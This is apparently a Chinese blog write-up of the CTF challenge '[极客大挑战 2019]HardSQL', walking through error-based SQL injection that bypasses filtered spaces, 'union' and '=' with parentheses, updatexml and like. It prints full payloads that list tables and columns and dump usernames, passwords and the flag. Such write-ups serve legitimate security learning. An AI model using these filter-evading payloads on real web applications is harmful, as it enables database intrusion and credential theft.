0
点赞
收藏
分享

微信扫一扫

[极客大挑战 2019]HardSQL

Ad大成 2022-02-12 阅读 82

打开题目:

随便输入一个用户名密码,提示密码错误,但是输入1' union select 1,2,3#,显示的是不同的语句

经检查,发现空格被过滤了,所以我们需要用括号来代替空格

而且由于union被过滤了,所以想到了updataxml函数,具体可参考这篇文章

updatexml函数_m0_62092622的博客-CSDN博客https://blog.csdn.net/m0_62092622/article/details/122721621?spm=1001.2014.3001.5501

等号 " = " 也被过滤了,所以考虑用like替代,先查询表1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))#

继续查询列名,1'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),'~'),1))#

查询数据1'or(updatexml(1,concat('~',(select(group_concat(username,'~',password))from(H4rDsq1)),'~'),1))#

 可是这里可能显示长度有限,所以flag并未显示全

继续查询右部分1'or(updatexml(1,concat('~',(select(group_concat((right(password,20))))from(H4rDsq1)),'~'),1))#

拼接得出flag

举报

相关推荐

0 条评论